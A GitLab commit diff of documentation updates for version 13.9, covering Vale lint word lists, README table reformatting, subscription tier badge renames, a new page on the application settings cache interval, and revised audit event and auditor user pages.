diff options
| author | GitLab Bot <gitlab-bot@gitlab.com> | 2021-02-18 10:34:06 +0000 |
|---|---|---|
| committer | GitLab Bot <gitlab-bot@gitlab.com> | 2021-02-18 10:34:06 +0000 |
| commit | 859a6fb938bb9ee2a317c46dfa4fcc1af49608f0 (patch) | |
| tree | d7f2700abe6b4ffcb2dcfc80631b2d87d0609239 /doc | |
| parent | 446d496a6d000c73a304be52587cd9bbc7493136 (diff) | |
| download | gitlab-ce-859a6fb938bb9ee2a317c46dfa4fcc1af49608f0.tar.gz | |
Add latest changes from gitlab-org/gitlab@13-9-stable-eev13.9.0-rc42
Diffstat (limited to 'doc')
1190 files changed, 30841 insertions, 19809 deletions
diff --git a/doc/.vale/gitlab/Acronyms.yml b/doc/.vale/gitlab/Acronyms.yml index 481da94c627..f7077413c9e 100644 --- a/doc/.vale/gitlab/Acronyms.yml +++ b/doc/.vale/gitlab/Acronyms.yml @@ -27,6 +27,8 @@ exceptions: - CNA - CNAME - CORE + - CVS + - FREE - CPU - CRIME - CSRF @@ -41,12 +43,14 @@ exceptions: - DSA - DVCS - ECDSA + - EFS - EKS - EOL - EXIF - FAQ - FOSS - FQDN + - FREE - GCP - GDK - GDPR @@ -90,7 +94,6 @@ exceptions: - NFS - NGINX - NOTE - - NPM - NTP - ONLY - OWASP @@ -116,11 +119,13 @@ exceptions: - RSS - RVM - SAML + - SAAS - SAST - SCIM - SCP - SCSS - SDK + - SELF - SEO - SHA - SLA @@ -128,6 +133,7 @@ exceptions: - SMTP - SOC - SOX + - SPDX - SPF - SQL - SSD @@ -138,11 +144,14 @@ exceptions: - SVG - SVN - TCP + - TIFF - TIP - TLD - TLS - TODO - TOML + - TTL + - UDP - UNIX - URI - URL @@ -157,3 +166,5 @@ exceptions: - XML - XSS - YAML + - ZAP + - ZIP diff --git a/doc/.vale/gitlab/Admin.yml b/doc/.vale/gitlab/Admin.yml index 96325ad2ef4..d74621bde8e 100644 --- a/doc/.vale/gitlab/Admin.yml +++ b/doc/.vale/gitlab/Admin.yml @@ -5,9 +5,9 @@ # # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: substitution -message: 'Use "administration", "administrator", "administer", or "Admin Area" instead of "admin" or "admin area".' +message: 'Verify this use of the word "admin". Can it be updated to "administration", "administrator", "administer", or "Admin Area"?' link: https://docs.gitlab.com/ee/development/documentation/styleguide.html -level: warning +level: suggestion ignorecase: true swap: - 'admin ?\w*': '(?:Admin Area|[Aa]dminist(ration|rator|er|rative))' + 'admin ?\w*': '(?:Admin Area|[Aa]dminist(ration|rator|rators|er|rative))' diff --git a/doc/.vale/gitlab/SubstitutionSuggestions.yml b/doc/.vale/gitlab/SubstitutionSuggestions.yml index ab6658f0943..eac738d9eec 100644 --- a/doc/.vale/gitlab/SubstitutionSuggestions.yml +++ b/doc/.vale/gitlab/SubstitutionSuggestions.yml @@ -18,4 +18,6 @@ swap: once the: '"after the"' once you: '"after you"' since: '"because" or "after"' + sub-group: '"subgroup"' + sub-groups: '"subgroups"' within: '"in"' diff --git a/doc/.vale/gitlab/Substitutions.yml b/doc/.vale/gitlab/Substitutions.yml index 987785c7a22..b31bead3bcd 100644 --- a/doc/.vale/gitlab/Substitutions.yml +++ b/doc/.vale/gitlab/Substitutions.yml @@ -11,6 +11,7 @@ link: https://about.gitlab.com/handbook/communication/#top-misused-terms level: error ignorecase: true swap: + codequality: code quality Customer [Pp]ortal: Customers Portal frontmatter: front matter GitLabber: GitLab team member @@ -20,7 +21,7 @@ swap: param: parameter params: parameters pg: PostgreSQL - postgres: PostgreSQL + 'postgres$': PostgreSQL raketask: Rake task raketasks: Rake tasks rspec: RSpec diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt index 6ce0ced52b3..375cecfdee4 100644 --- a/doc/.vale/gitlab/spelling-exceptions.txt +++ b/doc/.vale/gitlab/spelling-exceptions.txt @@ -1,20 +1,29 @@ +accessor +accessors Akismet Alertmanager Algolia Alibaba +Aliyun allowlist +allowlisted allowlisting allowlists +anonymization anonymized Ansible Anthos approvers architected +architecting +archiver +Arel Artifactory Asana Asciidoctor Assembla Atlassian +auditability Auth0 Authentiq autocomplete @@ -31,6 +40,7 @@ autoscaler autoscales autoscaling awardable +awardables Axios Azure B-tree @@ -52,8 +62,13 @@ blockquoted blockquotes blockquoting boolean +booleans Bootsnap browsable +bugfix +bugfixed +bugfixes +bugfixing Bugzilla Buildkite buildpack @@ -62,9 +77,17 @@ bundler bundlers burndown burnup +burstable cacheable +Caddy +callstack +callstacks +Camo +canonicalized CentOS Certbot +changeset +changesets chai chatbot chatbots @@ -86,6 +109,7 @@ Conda Consul Contentful Corosync +Coursier cron crons crontab @@ -96,15 +120,22 @@ crosslinks Crossplane CrowdIn CSV +cybersecurity Dangerfile datetime Debian +Decompressor +decryptable deduplicate deduplicated deduplicates deduplicating deduplication deliverables +denormalize +denormalized +denormalizes +denormalizing denylist denylisting denylists @@ -118,11 +149,16 @@ dequarantine dequarantined dequarantining DevOps +disambiguates discoverability +dismissable Disqus Divio Dockerfile Dockerfiles +Dockerize +Dockerized +Dockerizing dogfood dogfooding dogfoods @@ -135,6 +171,7 @@ Ecto Elasticsearch enablement enqueued +enqueues enum enums ETag @@ -145,20 +182,28 @@ failover failovers failsafe Falco +falsy fastlane +Fastzip favicon +favorited Figma Filebeat Fio firewalled +firewalling Flawfinder Flowdock Fluentd Forgerock +formatters Fugit +fuzzer Gantt Gemnasium Gemojione +Getter +Getters gettext Git Gitaly @@ -167,9 +212,11 @@ GitHub GitLab gitlabsos Gitleaks +Gitpod Gitter globals Gmail +Godep Gollum Google goroutine @@ -177,17 +224,20 @@ goroutines Gosec Gradle Grafana +Grafonnet gravatar Gzip Haml hardcode hardcoded hardcodes +Haswell heatmap heatmaps Helm Heroku Herokuish +Hexo HipChat hostname hostnames @@ -199,17 +249,22 @@ http https idempotence idmapper +Iglu inclusivity Ingress initializer initializers +innersource +innersourcing interdependencies interdependency interruptible Irker +issuables Istio Jaeger jasmine-jquery +Javafuzz JavaScript Jenkins Jenkinsfile @@ -217,6 +272,7 @@ Jira jq jQuery jsdom +Jsonnet JupyterHub kanban kanbans @@ -224,8 +280,11 @@ kaniko Karma Kerberos keyset +keytab +keytabs Kibana Kinesis +Klar Knative Kramdown Kroki @@ -233,13 +292,18 @@ Kubecost kubectl Kubernetes Kubesec +Kustomize Laravel ldapsearch Lefthook Leiningen +libFuzzer Libravatar liveness +Lodash Lograge +logrotate +Logrus Logstash lookahead lookaheads @@ -250,6 +314,7 @@ loopback Lucene Maildir Mailgun +Mailroom Makefile Makefiles Markdown @@ -297,9 +362,14 @@ namespaces namespacing namespacings Nanoc +negatable Netlify Nokogiri +noteable +noteables npm +nullability +nullable Nurtch nyc OAuth @@ -312,6 +382,7 @@ onboarding OpenID OpenShift Opsgenie +Overcommit Packagist parallelization parallelizations @@ -319,10 +390,12 @@ passwordless Patroni performant PgBouncer +pgLoader Phabricator phaser phasers phpenv +pipenv Pipfile Pipfiles Piwik @@ -331,6 +404,7 @@ Poedit polyfill polyfills pooler +postgres.ai PostgreSQL precompile preconfigure @@ -362,12 +436,22 @@ pseudocode pseudonymized pseudonymizer Puma +pytest Python Qualys +queryable +Quicktime Rackspace Raspbian Rdoc reachability +Realplayer +reauthenticate +reauthenticated +reauthenticates +reauthenticating +rebalancing +rebar rebase rebased rebases @@ -383,6 +467,8 @@ referer referers reflog reflogs +refspec +refspecs reindex reindexed reindexes @@ -402,6 +488,10 @@ resync resynced resyncing resyncs +retarget +retargeted +retargeting +retargets reusability reverified reverifies @@ -414,10 +504,12 @@ rsync rsynced rsyncing rsyncs +Rubinius Rubix Rubocop Rubular ruleset +rulesets runbook runbooks runit @@ -430,19 +522,24 @@ sbt scatterplot scatterplots Schemastore +scrollable Sendmail Sentry serializer serializers serializing serverless +sharded sharding shfmt Shibboleth +Shopify Sidekiq +Silverlight Sisense Sitespeed Slack +Slackbot Slony smartcard smartcards @@ -455,6 +552,9 @@ spidering Splunk SpotBugs Stackdriver +Stackprof +starrer +starrers storable storages strace @@ -465,6 +565,8 @@ subfolder subfolders subgraph subgraphs +subgroup +subgroups subkey subkeys sublicense @@ -475,22 +577,44 @@ subnet subnets subnetting subpath +subproject +subprojects subqueried subqueries subquery subquerying substring substrings +subtask +subtasks +subtest +subtests subtree subtrees sudo +supercookie +supercookies +supertype +supertypes +swappiness swimlane swimlanes +syncable +Sysbench +syscall +syscalls syslog tanuki tcpdump +templated Thanos +Thoughtbot +throughputs Tiller +timebox +timeboxed +timeboxes +timeboxing timecop todos tokenizer @@ -498,22 +622,33 @@ Tokenizers tokenizing toolchain toolchains +toolkit +toolkits tooltip tooltips transpile +transpiled transpiles transpiling Trello +triaged +triages triaging +truthy +Truststore Twilio Twitter TypeScript Ubuntu unapplied +unapprove +unapproved +unapproving unarchive unarchived unarchives unarchiving +unary unassign unassigning unassigns @@ -524,6 +659,7 @@ unchecks uncomment uncommented uncommenting +uncordon unencode unencoded unencoder @@ -534,6 +670,8 @@ unindexed unlink unlinking unlinks +unmappable +unmapped unmergeable unmerged unmerges @@ -543,9 +681,11 @@ unoptimize unoptimized unoptimizes unoptimizing +unpatched unprioritized unprotect unprotected +unprotecting unprotects unprovision unprovisioned @@ -554,6 +694,7 @@ unpublish unpublished unpublishes unpublishing +unpushed unreferenced unregister unregistered @@ -562,8 +703,12 @@ unreplicated unresolve unresolved unresolving +unsanitized unschedule unscoped +unshare +unshared +unshares unstage unstaged unstages @@ -574,6 +719,7 @@ unstarted unstash unstashed unstashing +unsynced untarred untracked untrusted @@ -583,8 +729,12 @@ unverify unverifying uploader uploaders +upstreams +upvote upvoted upvotes +URIs +Vagrantfile validator validators vendored @@ -601,6 +751,9 @@ WebdriverIO Webex webpack webserver +Webservice +websocket +websockets whitepaper whitepapers wireframe @@ -611,9 +764,11 @@ Wireshark Wordpress worktree worktrees +Worldline Xcode Xeon YouTrack +Yubico Zeitwerk Zendesk zsh diff --git a/doc/README.md b/doc/README.md index 41a68df09d0..4c4b0cd3a15 100644 --- a/doc/README.md +++ b/doc/README.md @@ -23,32 +23,32 @@ Here you can access the complete documentation for GitLab, the single applicatio No matter how you use GitLab, we have documentation for you. -| Essential documentation | Essential documentation | -|:---------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------| +| Essential documentation | Essential documentation | +|:------------------------|:------------------------| | [**User documentation**](user/index.md)<br>Discover features and concepts for GitLab users. | [**Administrator documentation**](administration/index.md)<br/>Everything GitLab self-managed administrators need to know. | -| [**Contributing to GitLab**](#contributing-to-gitlab)<br/>At GitLab, everyone can contribute! | [**New to Git and GitLab?**](#new-to-git-and-gitlab)<br/>We have the resources to get you started. | -| [**Build an integration with GitLab**](#build-an-integration-with-gitlab)<br/>Consult our integration documentation. | [**Coming to GitLab from another platform?**](#coming-to-gitlab-from-another-platform)<br/>Consult our guides. | -| [**Install GitLab**](https://about.gitlab.com/install/)<br/>Installation options for different platforms. | [**Customers**](subscriptions/index.md)<br/>Information for new and existing customers. | -| [**Update GitLab**](update/README.md)<br/>Update your GitLab self-managed instance to the latest version. | [**Reference Architectures**](administration/reference_architectures/index.md)<br/>GitLab reference architectures | -| [**GitLab releases**](https://about.gitlab.com/releases/)<br/>What's new in GitLab. | | +| [**Contributing to GitLab**](#contributing-to-gitlab)<br/>At GitLab, everyone can contribute! | [**New to Git and GitLab?**](#new-to-git-and-gitlab)<br/>We have the resources to get you started. | +| [**Build an integration with GitLab**](#build-an-integration-with-gitlab)<br/>Consult our integration documentation. | [**Coming to GitLab from another platform?**](#coming-to-gitlab-from-another-platform)<br/>Consult our guides. | +| [**Install GitLab**](https://about.gitlab.com/install/)<br/>Installation options for different platforms. | [**Customers**](subscriptions/index.md)<br/>Information for new and existing customers. | +| [**Update GitLab**](update/index.md)<br/>Update your GitLab self-managed instance to the latest version. | [**Reference Architectures**](administration/reference_architectures/index.md)<br/>GitLab reference architectures. | +| [**GitLab releases**](https://about.gitlab.com/releases/)<br/>What's new in GitLab. | | ## Popular topics Have a look at some of our most popular topics: -| Popular topic | Description | -|:-----------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------| -| [Two-factor authentication](user/profile/account/two_factor_authentication.md) | Improve the security of your GitLab account. | -| [GitLab groups](user/group/index.md) | Manage projects together. | -| [GitLab CI/CD pipeline configuration reference](ci/yaml/README.md) | Available configuration options for `.gitlab-ci.yml` files. | -| [Activate GitLab EE with a license](user/admin_area/license.md) **(STARTER ONLY)** | Activate GitLab Enterprise Edition functionality with a license. | -| [Back up and restore GitLab](raketasks/backup_restore.md) **(CORE ONLY)** | Rake tasks for backing up and restoring GitLab self-managed instances. | -| [GitLab release and maintenance policy](policy/maintenance.md) | Policies for version naming and cadence, and also upgrade recommendations. | -| [Elasticsearch integration](integration/elasticsearch.md) **(STARTER ONLY)** | Integrate Elasticsearch with GitLab to enable advanced searching. | -| [Omnibus GitLab database settings](https://docs.gitlab.com/omnibus/settings/database.html) **(CORE ONLY)** | Database settings for Omnibus GitLab self-managed instances. | -| [Omnibus GitLab NGINX settings](https://docs.gitlab.com/omnibus/settings/nginx.html) **(CORE ONLY)** | NGINX settings for Omnibus GitLab self-managed instances. | -| [Omnibus GitLab SSL configuration](https://docs.gitlab.com/omnibus/settings/ssl.html) **(CORE ONLY)** | SSL settings for Omnibus GitLab self-managed instances. | -| [GitLab.com settings](user/gitlab_com/index.md) | Settings used for GitLab.com. | +| Popular topic | Description | +|:-------------------------------------------------------------------------------------------|:------------| +| [Two-factor authentication](user/profile/account/two_factor_authentication.md) | Improve the security of your GitLab account. | +| [GitLab groups](user/group/index.md) | Manage projects together. | +| [GitLab CI/CD pipeline configuration reference](ci/yaml/README.md) | Available configuration options for `.gitlab-ci.yml` files. | +| [Activate GitLab EE with a license](user/admin_area/license.md) | Activate GitLab Enterprise Edition functionality with a license. | +| [Back up and restore GitLab](raketasks/backup_restore.md) | Rake tasks for backing up and restoring GitLab self-managed instances. | +| [GitLab release and maintenance policy](policy/maintenance.md) | Policies for version naming and cadence, and also upgrade recommendations. | +| [Elasticsearch integration](integration/elasticsearch.md) | Integrate Elasticsearch with GitLab to enable advanced searching. | +| [Omnibus GitLab database settings](https://docs.gitlab.com/omnibus/settings/database.html) | Database settings for Omnibus GitLab self-managed instances. | +| [Omnibus GitLab NGINX settings](https://docs.gitlab.com/omnibus/settings/nginx.html) | NGINX settings for Omnibus GitLab self-managed instances. | +| [Omnibus GitLab SSL configuration](https://docs.gitlab.com/omnibus/settings/ssl.html) | SSL settings for Omnibus GitLab self-managed instances. | +| [GitLab.com settings](user/gitlab_com/index.md) | Settings used for GitLab.com. | ## The entire DevOps lifecycle @@ -64,53 +64,53 @@ Working with new systems can be daunting. We have the following documentation to rapidly uplift your GitLab knowledge: -| Topic | Description | -|:--------------------------------------------------------------------------------------------------|:---------------------------------------------------------------| -| [GitLab basics guides](gitlab-basics/README.md) | Start working on the command line and with GitLab. | -| [GitLab workflow overview](https://about.gitlab.com/blog/2016/10/25/gitlab-workflow-an-overview/) | Enhance your workflow with the best of GitLab Workflow. | -| [Get started with GitLab CI/CD](ci/quick_start/README.md) | Quickly implement GitLab CI/CD. | -| [Auto DevOps](topics/autodevops/index.md) | Learn more about Auto DevOps in GitLab. | -| [GitLab Markdown](user/markdown.md) | Advanced formatting system (GitLab Flavored Markdown) | +| Topic | Description | +|:--------------------------------------------------------------------------------------------------|:------------| +| [GitLab basics guides](gitlab-basics/index.md) | Start working on the command line and with GitLab. | +| [GitLab workflow overview](https://about.gitlab.com/blog/2016/10/25/gitlab-workflow-an-overview/) | Enhance your workflow with the best of GitLab Workflow. | +| [Get started with GitLab CI/CD](ci/quick_start/index.md) | Quickly implement GitLab CI/CD. | +| [Auto DevOps](topics/autodevops/index.md) | Learn more about Auto DevOps in GitLab. | +| [GitLab Markdown](user/markdown.md) | Advanced formatting system (GitLab Flavored Markdown). | ### User account Learn more about GitLab account management: -| Topic | Description | -|:-----------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------| -| [User account](user/profile/index.md) | Manage your account. | +| Topic | Description | +|:-----------------------------------------------------------|:------------| +| [User account](user/profile/index.md) | Manage your account. | | [Authentication](topics/authentication/index.md) | Account security with two-factor authentication, set up your SSH keys, and deploy keys for secure access to your projects. | -| [Profile settings](user/profile/index.md#profile-settings) | Manage your profile settings, two factor authentication, and more. | -| [User permissions](user/permissions.md) | Learn what each role in a project can do. | +| [User settings](user/profile/index.md#user-settings) | Manage your user settings, two factor authentication, and more. | +| [User permissions](user/permissions.md) | Learn what each role in a project can do. | ### Git and GitLab Learn more about using Git, and using Git with GitLab: -| Topic | Description | -|:-----------------------------------------------------------------------------|:---------------------------------------------------------------------------| +| Topic | Description | +|:-----------------------------------------------------------------------------|:------------| | [Git](topics/git/index.md) | Getting started with Git, branching strategies, Git LFS, and advanced use. | -| [Git cheat sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf) | Download a PDF describing the most used Git operations. | -| [GitLab Flow](topics/gitlab_flow.md) | Explore the best of Git with the GitLab Flow strategy. | +| [Git cheat sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf) | Download a PDF describing the most used Git operations. | +| [GitLab Flow](topics/gitlab_flow.md) | Explore the best of Git with the GitLab Flow strategy. | ## Coming to GitLab from another platform If you are coming to GitLab from another platform, the following information is useful: -| Topic | Description | -|:----------------------------------------------------|:---------------------------------------------------------------------------------------| +| Topic | Description | +|:----------------------------------------------------|:------------| | [Importing to GitLab](user/project/import/index.md) | Import your projects from GitHub, Bitbucket, GitLab.com, FogBugz, and SVN into GitLab. | -| [Migrating from SVN](user/project/import/svn.md) | Convert a SVN repository to Git and GitLab. | +| [Migrating from SVN](user/project/import/svn.md) | Convert a SVN repository to Git and GitLab. | ## Build an integration with GitLab There are many ways to integrate with GitLab, including: -| Topic | Description | -|:-------------------------------------------|:---------------------------------------------| -| [GitLab REST API](api/README.md) | Integrate with GitLab using our REST API. | +| Topic | Description | +|:-------------------------------------------|:------------| +| [GitLab REST API](api/README.md) | Integrate with GitLab using our REST API. | | [GitLab GraphQL API](api/graphql/index.md) | Integrate with GitLab using our GraphQL API. | -| [Integrations](integration/README.md) | Integrations with third-party products. | +| [Integrations](integration/README.md) | Integrations with third-party products. | ## Contributing to GitLab @@ -119,8 +119,8 @@ and GitLab Enterprise Edition is [open-core](https://gitlab.com/gitlab-org/gitla Learn how to contribute to GitLab with the following resources: -| Topic | Description | -|:------------------------------------------------------------|:-----------------------------------------| +| Topic | Description | +|:------------------------------------------------------------|:------------| | [Development](development/README.md) | How to contribute to GitLab development. | -| [Legal](legal/README.md) | Contributor license agreements. | -| [Writing documentation](development/documentation/index.md) | How to contribute to GitLab Docs. | +| [Legal](legal/index.md) | Contributor license agreements. | +| [Writing documentation](development/documentation/index.md) | How to contribute to GitLab Docs. | diff --git a/doc/administration/application_settings_cache.md b/doc/administration/application_settings_cache.md new file mode 100644 index 00000000000..b6c09129c79 --- /dev/null +++ b/doc/administration/application_settings_cache.md @@ -0,0 +1,47 @@ +--- +stage: Enablement +group: Memory +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Changing application settings cache expiry interval **(FREE SELF)** + +Application settings are cached for 60 seconds by default which should work +for most installations. A higher value would mean a greater delay between +changing an application setting and noticing that change come into effect. +A value of `0` would result in the `application_settings` table being +loaded for every request causing extra load on Redis and/or PostgreSQL. +It is therefore recommended to keep the value above zero. + +## Change the application settings cache expiry + +To change the expiry value: + +**For Omnibus installations** + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['application_settings_cache_seconds'] = 60 + ``` + +1. Save the file, and reconfigure and restart GitLab for the changes to take effect: + + ```shell + gitlab-ctl reconfigure + gitlab-ctl restart + ``` + +--- + +**For installations from source** + +1. Edit `config/gitlab.yml`: + + ```yaml + gitlab: + application_settings_cache_seconds: 60 + ``` + +1. Save the file and [restart](restart_gitlab.md#installations-from-source) + GitLab for the changes to take effect. diff --git a/doc/administration/audit_events.md b/doc/administration/audit_events.md index 27f6bbcd028..d5755474c00 100644 --- a/doc/administration/audit_events.md +++ b/doc/administration/audit_events.md @@ -4,12 +4,12 @@ group: Compliance info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Audit Events **(STARTER)** +# Audit Events **(PREMIUM)** GitLab offers a way to view the changes made within the GitLab server for owners and administrators on a [paid plan](https://about.gitlab.com/pricing/). GitLab system administrators can also take advantage of the logs located on the -file system. See [the logs system documentation](logs.md) for more details. +file system. See [the logs system documentation](logs.md#audit_jsonlog) for more details. You can generate an [Audit report](audit_reports.md) of audit events. @@ -36,13 +36,18 @@ There are two kinds of events logged: - Instance events scoped to the whole GitLab instance, used by your Compliance team to perform formal audits. -### Impersonation data **(PREMIUM)** +### Impersonation data > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/536) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.0. -Impersonation is where an administrator uses credentials to perform an action as a different user. +When a user is being [impersonated](../user/admin_area/index.md#user-impersonation), their actions are logged as audit events as usual, with two additional details: -### Group events **(STARTER)** +1. Usual audit events include information about the impersonating administrator. These are visible in their respective Audit Event pages depending on their type (Group/Project/User). +1. Extra audit events are recorded for the start and stop of the administrator's impersonation session. These are visible in the instance Audit Events. + + + +### Group events **(PREMIUM)** A user with a Owner role (or above) can retrieve group audit events of all users. A user with a Developer or Maintainer role is limited to group audit events based on their individual actions. @@ -72,7 +77,7 @@ From there, you can see the following actions: Group events can also be accessed via the [Group Audit Events API](../api/audit_events.md#group-audit-events) -### Project events **(STARTER)** +### Project events **(PREMIUM)** A user with a Maintainer role (or above) can retrieve project audit events of all users. A user with a Developer role is limited to project audit events based on their individual actions. @@ -99,13 +104,15 @@ From there, you can see the following actions: - Number of required approvals was updated ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7531) in GitLab 12.9) - Added or removed users and groups from project approval groups ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213603) in GitLab 13.2) - Project CI/CD variable added, removed, or protected status changed ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30857) in GitLab 13.4) -- User was approved via Admin Area ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276250) in GitLab 13.6) +- Project access token was successfully created or revoked ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230007) in GitLab 13.9) +- Failed attempt to create or revoke a project access token ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230007) in GitLab 13.9) +- When default branch changes for a project ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/52339) in GitLab 13.9) Project events can also be accessed via the [Project Audit Events API](../api/audit_events.md#project-audit-events). Project event queries are limited to a maximum of 30 days. -### Instance events **(PREMIUM ONLY)** +### Instance events **(PREMIUM SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2336) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.3. @@ -129,6 +136,9 @@ recorded: - Changed username ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7797) in GitLab 12.8) - User was deleted ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/251) in GitLab 12.8) - User was added ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/251) in GitLab 12.8) +- User requests access to an instance ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/298783) in GitLab 13.9) +- User was approved via Admin Area ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276250) in GitLab 13.6) +- User was rejected via Admin Area ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/298783) in GitLab 13.9) - User was blocked via Admin Area ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/251) in GitLab 12.8) - User was blocked via API ([introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25872) in GitLab 12.9) - Failed second-factor authentication attempt ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16826) in GitLab 13.5) @@ -189,7 +199,7 @@ The search filters you can see depends on which audit level you are at.  -## Export to CSV **(PREMIUM ONLY)** +## Export to CSV **(PREMIUM SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1449) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/285441) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7. diff --git a/doc/administration/auditor_users.md b/doc/administration/auditor_users.md index 7db20efb03f..96bfbd88ddf 100644 --- a/doc/administration/auditor_users.md +++ b/doc/administration/auditor_users.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Auditor users **(PREMIUM ONLY)** +# Auditor users **(PREMIUM SELF)** Auditor users are given read-only access to all projects, groups, and other resources on the GitLab instance. @@ -19,7 +19,7 @@ snippets, and create milestones on their groups, while also having read-only access to all projects on the server to which they haven't been explicitly [given access](../user/permissions.md). -The Auditor role is _not_ a read-only version of the Admin role. Auditor users +The `Auditor` access level is _not_ a read-only version of the `Admin` access level. Auditor users can't access the project or group settings pages, or the Admin Area. Assuming you have signed in as an Auditor user: @@ -33,7 +33,7 @@ Assuming you have signed in as an Auditor user: have the same access as their given [permissions](../user/permissions.md). For example, if they were added as a Developer, they can push commits or comment on issues. -- The Auditor can't view the Admin Area, or perform any admin actions. +- The Auditor can't view the Admin Area, or perform any administration actions. For more information about what an Auditor can or can't do, see the [Permissions and restrictions of an Auditor user](#permissions-and-restrictions-of-an-auditor-user) @@ -47,7 +47,7 @@ helpful: - Your compliance department wants to run tests against the entire GitLab base to ensure users are complying with password, credit card, and other sensitive data policies. With Auditor users, this can be achieved very without having - to give them user admin rights or using the API to add them to all projects. + to give them user administration rights or using the API to add them to all projects. - If particular users need visibility or access to most of all projects in your GitLab instance, instead of manually adding the user to all projects, you can create an Auditor user and then share the credentials with those users @@ -68,6 +68,8 @@ To create a new Auditor user: To revoke Auditor permissions from a user, make them a regular user by following the previous steps. +Additionally users can be set as an Auditor using [SAML groups](../integration/saml.md#auditor-groups). + ## Permissions and restrictions of an Auditor user An Auditor user should be able to access all projects and groups of a GitLab @@ -81,7 +83,7 @@ instance, with the following permissions and restrictions: - Can read all files in a repository - Can read issues and MRs - Can read project snippets -- Cannot be Admin and Auditor at the same time +- Cannot be Administrator and Auditor at the same time - Cannot access the Admin Area - In a group or project they're not a member of: - Cannot access project settings diff --git a/doc/administration/auth/README.md b/doc/administration/auth/README.md index cc3421d3133..69220113940 100644 --- a/doc/administration/auth/README.md +++ b/doc/administration/auth/README.md @@ -22,7 +22,8 @@ providers: - [Facebook](../../integration/facebook.md) - [GitHub](../../integration/github.md) - [GitLab.com](../../integration/gitlab.md) -- [Google](../../integration/google.md) +- [Google OAuth](../../integration/google.md) +- [Google Workspace SSO](../../integration/google_workspace_saml.md) - [JWT](jwt.md) - [Kerberos](../../integration/kerberos.md) - [LDAP](ldap/index.md): Includes Active Directory, Apple Open Directory, Open LDAP, @@ -31,9 +32,9 @@ providers: - [Okta](okta.md) - [Salesforce](../../integration/salesforce.md) - [SAML](../../integration/saml.md) -- [SAML for GitLab.com groups](../../user/group/saml_sso/index.md) **(SILVER ONLY)** +- [SAML for GitLab.com groups](../../user/group/saml_sso/index.md) **(PREMIUM SAAS)** - [Shibboleth](../../integration/shibboleth.md) -- [Smartcard](smartcard.md) **(PREMIUM ONLY)** +- [Smartcard](smartcard.md) **(PREMIUM SELF)** - [Twitter](../../integration/twitter.md) NOTE: diff --git a/doc/administration/auth/google_secure_ldap.md b/doc/administration/auth/google_secure_ldap.md deleted file mode 100644 index 37366b00f73..00000000000 --- a/doc/administration/auth/google_secure_ldap.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'ldap/google_secure_ldap.md' ---- - -This document was moved to [another location](ldap/google_secure_ldap.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md b/doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md deleted file mode 100644 index ffce06afb63..00000000000 --- a/doc/administration/auth/how_to_configure_ldap_gitlab_ce/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../ldap/index.md' ---- - -This document was moved to [another location](../ldap/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md b/doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md deleted file mode 100644 index ffce06afb63..00000000000 --- a/doc/administration/auth/how_to_configure_ldap_gitlab_ee/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../ldap/index.md' ---- - -This document was moved to [another location](../ldap/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/img/okta_admin_panel_v13_9.png b/doc/administration/auth/img/okta_admin_panel_v13_9.png Binary files differnew file mode 100644 index 00000000000..2ebb1f0112c --- /dev/null +++ b/doc/administration/auth/img/okta_admin_panel_v13_9.png diff --git a/doc/administration/auth/ldap-ee.md b/doc/administration/auth/ldap-ee.md deleted file mode 